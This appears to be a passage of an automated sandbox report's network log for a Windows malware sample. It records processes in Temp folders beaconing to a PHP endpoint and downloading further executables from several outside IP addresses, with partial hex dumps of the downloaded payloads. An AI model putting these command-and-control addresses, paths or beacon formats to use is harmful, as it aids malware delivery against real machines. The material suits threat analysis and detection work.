Nov 18, 2024 23:04:42.323719025 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:42.323776007 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:42.323829889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:42.323884964 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:42.323920965 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:42.323956013 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:42.323992014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:42.324027061 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: 8-(bO9_:7#O><b&B!W7G7t6Mx?WV#K8s?4qng4"W=\|#D"$:_$.$v'$L<
Nov 18, 2024 23:04:42.324060917 CET	424	IN	Data Raw: 2b 37 27 da 78 fb f6 f1 ab ae 5b c9 f4 78 99 d1 f5 f3 35 02 b3 fe c3 fb bb 1b 16 24 85 c9 0d e0 87 ac 39 61 52 a6 38 c8 1a de a5 8f ad ef d8 9d 0f 21 3f 62 af 0f 38 fc 4a e6 12 99 01 16 e5 79 59 f5 e2 fb bf 0d b4 83 c5 da 21 54 8d 9c 53 a5 35 43 Data Ascii: +7'x[x5$9aR8!?b8JyY!TS5C-cgCQ\|}+e?lMDU}!>(kgDzk=qEA-m+y8];,>4^?__]8V4B>:AQT*bLcT5OG/W
Nov 18, 2024 23:04:42.329220057 CET	1236	IN	Data Raw: 53 c6 4a f3 f7 59 1b ec a1 fa 93 63 5b de 77 97 02 ea 3d cb b5 7c a9 df 6e 77 3c db 8b 63 f9 d2 6b ef 00 a3 2d ca 9a f4 c8 d1 e7 b3 85 0f 9a e7 6a a6 6d a4 62 5e bf 48 1a 52 b7 18 33 12 ce f4 2e 01 3f 57 80 ea 78 e7 d1 e7 1e 63 ad d6 30 44 a4 5f Data Ascii: SJYc[w=\|nw<ck-jmb^HR3.?Wxc0D_(4>9) +^'I9LJo$TTbi\++4gO6B=%"^C3}a"/@6G84]8?2Z,JR#a_9F2

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50014	185.215.113.43	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:45.976198912 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 37 32 35 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1007255001&unit=246122658369
Nov 18, 2024 23:04:46.890857935 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50015	31.41.244.11	80	5544	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:47.204416037 CET	54	OUT	GET /files/random.exe HTTP/1.1 Host: 31.41.244.11
Nov 18, 2024 23:04:47.953562975 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:47 GMT Content-Type: application/octet-stream Content-Length: 4380160 Last-Modified: Mon, 18 Nov 2024 19:54:46 GMT Connection: keep-alive ETag: "673b9b86-42d600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 a7 ca 39 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 d4 48 00 00 ee 67 00 00 32 00 00 00 70 b8 00 00 10 00 00 00 f0 48 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 a0 b8 00 00 04 00 00 23 a3 43 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 70 65 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 5f b8 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 5f b8 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL9g(Hg2pH@#C@ _pes__ Pel'@.rsrc `e\|'@.idata pe\|'@ 7e~'@mcbbabgn000'@nvcadkig`B@.taggant0p"B@
Nov 18, 2024 23:04:47.953583956 CET	212	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:47.953599930 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:47.953659058 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:47.953676939 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:47.953725100 CET	636	IN	Data Raw: 21 62 35 20 b8 42 f6 f4 dd 77 f7 dd e4 9f f2 c1 5c 4e 2f 4c 86 f6 64 e1 b0 4d 3d a6 a9 73 cb f9 79 b6 e1 7f 28 98 2a 61 9d 7b e5 b7 68 ad 3d e9 20 13 9e c7 34 22 96 58 c5 16 04 d1 af 9c 74 78 61 fb a8 3b 6f c5 6d 50 0a 7a a1 38 57 5e 88 8a 71 0d Data Ascii: !b5 Bw\N/LdM=sy(*a{h= 4"Xtxa;omPz8W^q8h aOL6^$c`nk5,mcq7ji Hv6OH]3@2<n<y\|{`dgLw4DfF_x(HTaFNx07Z
Nov 18, 2024 23:04:47.953741074 CET	1236	IN	Data Raw: 8c ce 75 e1 86 ed 74 2b 6b 81 e9 ca bc 7c 38 ae 74 3b e2 fe 74 0f cb e1 64 e5 3f 9c 3e 07 94 59 c0 fb 5f 49 8c fb e1 4c 76 87 c6 5b 3c b9 8e 57 83 02 94 83 3f 36 17 8a fa b2 b6 cf 68 bd 30 cc 64 cb 23 0c 21 bc 2c c1 16 d3 1c 8c 2b 1c 71 5a 3d b6 Data Ascii: ut+k\|8t;td?>Y_ILv[<W?6h0d#!,+qZ=VW@B\|Pi((Jz`Xtk>8e1WX?Uewzeh4l@"4$*hwGDkxNH,F"I>2A0EPY-Hkh9u7)n_X.
Nov 18, 2024 23:04:47.953756094 CET	212	IN	Data Raw: 35 b4 e5 13 05 68 aa 58 80 85 22 48 c7 a1 f0 a9 59 fc 78 c7 df f3 15 57 14 c0 e2 85 69 88 5e ed 60 f2 96 af 76 f5 6e 59 9f b9 d8 6c 74 3a 44 64 ee 8a 53 7b e1 8e 19 7b f3 f7 d0 ec 26 99 a0 5f 71 3b 9d 49 e7 9b b4 8d 76 81 5c c8 3c 23 68 39 c5 45 Data Ascii: 5hX"HYxWi^`vnYlt:DdS{{&_q;Iv\<#h9En;4s9@pkh{xG\|\4W"&CfOEitjm[Z[e:h;C34r8{iExK7'OQp&\|
Nov 18, 2024 23:04:47.953769922 CET	1236	IN	Data Raw: 27 72 3d 85 b8 91 7d d7 89 3f a6 2f 15 f5 de 83 90 2a 5b bc 11 5e 8c c5 da 06 83 5f 75 14 57 fd d0 e4 44 8d 2c 0f e1 e5 e1 72 62 43 0f 21 84 87 b4 52 3c ee 36 7b b9 3c 2c a5 56 44 74 17 b9 20 50 2c 5e 5a 45 75 09 c4 a4 01 d9 2d 9a 02 be 3e c7 7f Data Ascii: 'r=}?/*[^_uWD,rbC!R<6{<,VDt P,^ZEu->8?gG_-j(&SZm$?,n4mV(R;n<nc{==5sUwTw]FLseU,Km\tQd]/Mn$rY\|SBK#_XX
Nov 18, 2024 23:04:47.953788042 CET	212	IN	Data Raw: 38 31 ec 95 e6 71 64 af 27 1d 6b 70 91 75 58 9e 99 08 3f 76 a5 0c b3 44 27 ec d0 65 76 d3 5f 62 25 08 5d ab 46 71 bb bf 2d 83 38 50 44 44 4a a8 d9 88 48 9a dc 14 d9 4b ed 33 94 94 e5 0a 61 c0 0a b4 95 25 bc 13 a0 2d bc 88 64 8f 49 16 c8 70 aa 52 Data Ascii: 81qd'kpuX?vD'ev_b%]Fq-8PDDJHK3a%-dIpR+'-M#Br+^j/ZJ6m\3TUw3}efnBf@h_9QH@,b/Y>Lp"Gf#kP;y
Nov 18, 2024 23:04:47.963799953 CET	1236	IN	Data Raw: 79 40 be c1 dd 18 d7 72 37 fe 24 24 9a 16 8d 12 9f 48 57 3b 32 0c 12 01 3f c6 6f ef 81 4a 92 b5 9b ef bf b0 33 bb c5 58 2d ee 67 f5 15 31 11 7e de 37 54 2a 75 11 4b 44 d6 b0 48 e4 29 11 d4 f5 86 96 7c 61 31 f4 20 e1 d0 44 fd 67 37 53 16 67 76 90 Data Ascii: y@r7$$HW;2?oJ3X-g1~7TuKDH)\|a1 Dg7Sgv^a6.se/{~{V<q1,wu@`wYyt@l(H\|ulYl[uM1_F5n$IiR@@HFl*~efDkx\yztx

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	50035	185.215.113.16	80	4412	C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:49.096291065 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 23:04:50.425117016 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:49 GMT Content-Type: application/octet-stream Content-Length: 2758144 Last-Modified: Mon, 18 Nov 2024 21:22:56 GMT Connection: keep-alive ETag: "673bb030-2a1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 bf 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ f`Ui` @ @.rsrc`2@.idata 8@xzifghis)):@jqrynsft `)@.taggant@")@
Nov 18, 2024 23:04:50.425133944 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:50.425143003 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:50.425153971 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:50.425164938 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:50.425175905 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:50.425187111 CET	848	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:50.425204039 CET	948	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:50.425225973 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:50.425235033 CET	212	IN	Data Raw: b2 7d 3d ef 7b d8 5e 61 84 c6 b0 e9 8b cb 15 32 4f d8 59 81 24 f7 ef 61 84 c6 b0 9f 95 cf 15 62 4b d8 23 e3 b5 8b 94 f9 9a 0f 3b 4a eb fe bb c3 8a c3 c2 60 34 d8 93 f9 e6 a9 39 b1 2c ca 8e bc 83 65 37 e2 6b f2 b7 09 aa e1 3d 34 55 c5 94 65 65 a7 Data Ascii: }={^a2OY$abK#;J`49,e7k=4Uee)&l'X~lZHHz;p<U{J)->=7G:~<4p<;RY!.#]fc>#N4#(
Nov 18, 2024 23:04:50.425246954 CET	1236	IN	Data Raw: 8c e2 c4 d5 81 46 35 68 4e e4 3e 3f c0 93 e3 25 86 0d a4 14 79 ad 26 fb 86 f9 3a 8e c2 cb ba ff 03 33 6d e1 c8 d9 c0 66 5f d9 ba dc 81 72 35 e6 f7 50 10 02 8f da e6 cc d5 36 38 fd d7 ce cd c3 8b 28 16 de b5 db 61 fb 12 bb 15 e2 2b 37 27 da 78 fb Data Ascii: F5hN>?%y&:3mf_r5P68(a+7'x[x5$9aR8!?b8JyY!TS5C-cgCQ\|}+e?lMDU}!>(kgDzk=qEA-
Nov 18, 2024 23:04:50.425324917 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:49 GMT Content-Type: application/octet-stream Content-Length: 2758144 Last-Modified: Mon, 18 Nov 2024 21:22:56 GMT Connection: keep-alive ETag: "673bb030-2a1600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2a 00 00 04 00 00 bf 66 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$* `@ f`Ui` @ @.rsrc`2@.idata 8@xzifghis)):@jqrynsft `)@.taggant@")@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	50037	185.215.113.16	80	4412	C:\Users\user\AppData\Local\Temp\1007252001\d84bd44db0.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 23:04:50.427061081 CET	205	OUT	GET /steam/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Nov 18, 2024 23:04:51.367125988 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 22:04:51 GMT Content-Type: application/octet-stream Content-Length: 1834496 Last-Modified: Mon, 18 Nov 2024 21:24:19 GMT Connection: keep-alive ETag: "673bb083-1bfe00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 1a 52 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"0j@`jR@M$a$$ $b@.rsrc$r@.idata $t@ +$v@bovqhner`O^x@fuiaraiv j@.taggant00j"@
Nov 18, 2024 23:04:51.367144108 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:51.367259026 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:51.367446899 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 18, 2024 23:04:51.367460012 CET	448	IN	Data Raw: 9a d1 12 f1 95 b4 ff 6a cd 60 ac 75 54 49 05 79 9a 4a ae 4d 08 27 47 0c b6 48 69 4d ec d1 f6 64 05 b1 c9 6c 4b 14 5c 4c 8b 5a e9 9f 9c 4d bf 04 6e e3 a6 7c b5 4c 43 c4 ae 31 ad 48 3b 41 b3 bb 2d fe 4a ad 25 22 6f 4a 92 dc a3 4d 36 63 97 e5 ad 39 Data Ascii: j`uTIyJM'GHiMdlK\LZMn\|LC1H;A-J%"oJM6c9l\|6'#y&{e=bZva,)Wby469YS'<i&Jg\|\|/#cKFUa)yd@O'a96B\
Nov 18, 2024 23:04:51.367928028 CET	1236	IN	Data Raw: e0 70 cd ed 9d 31 dd 2a c5 c3 ed 09 95 7a 3f d2 aa f0 c3 51 95 3e dc ab ea d5 54 3b 2a a6 26 22 f7 f7 d7 f8 2d 87 cb e8 ec f9 ad 92 ba 5a f6 68 94 77 36 00 9c 8e dd 40 fa 21 1d f2 a3 aa bc 7c 36 8d 5e 5d b5 72 5b ec d5 c6 0d a6 af fc 5a ff 07 09 Data Ascii: p1z?Q>T;&"-Zhw6@!\|6^]r[Z2I6Z:If{w3FInF3O/Ey;Km,fWo@^EfA`^sGr@`8].'a\|^7wH\G3kkz_!W
Nov 18, 2024 23:04:51.367939949 CET	1236	IN	Data Raw: 09 62 77 cc 2b 85 94 df e1 62 2e ec c3 f6 06 3b 00 b0 93 5b 10 88 ad c0 2c 09 2f 39 22 d1 ac de 0b 40 ef 79 4f 12 4b 65 87 7b 68 5d 60 37 da 60 1b f7 56 4e b4 70 94 2d ad 15 1b c4 ae 48 96 ab 31 f8 53 a6 ea eb b7 6c e4 f8 ee 81 29 24 dc bb 5d 8a Data Ascii: bw+b.;[,/9"@yOKe{h]`7`VNp-H1Sl)$]WMHtAd9sX9U_z\p~e$Bqh*6X;46k\J8{5%Bq5h[NRE6zu{Ot'1Mq\=^a~
Nov 18, 2024 23:04:51.367952108 CET	1236	IN	Data Raw: ba 3d af 45 d3 c3 e5 b6 84 88 0e 50 ce 2b de a5 39 70 32 65 ba bd ef 7c 6d 37 e1 dc eb 7d db 06 02 4d 56 fc 31 5c 75 09 d8 e7 00 a1 aa 7d 77 e6 9a 0c 48 9a db 3b 3f 81 a7 d5 d4 a9 f9 98 28 2a 9d d1 a1 f2 47 b1 59 f6 9d 75 55 9f d2 c1 8e 63 4e 31 Data Ascii: =EP+9p2e\|m7}MV1\u}wH;?(*GYuUcN1/Ze7G]9+5Fg+Z@}7?&IA$8d+oXSbzzgC]W{7)QA^[eq;rd[U5
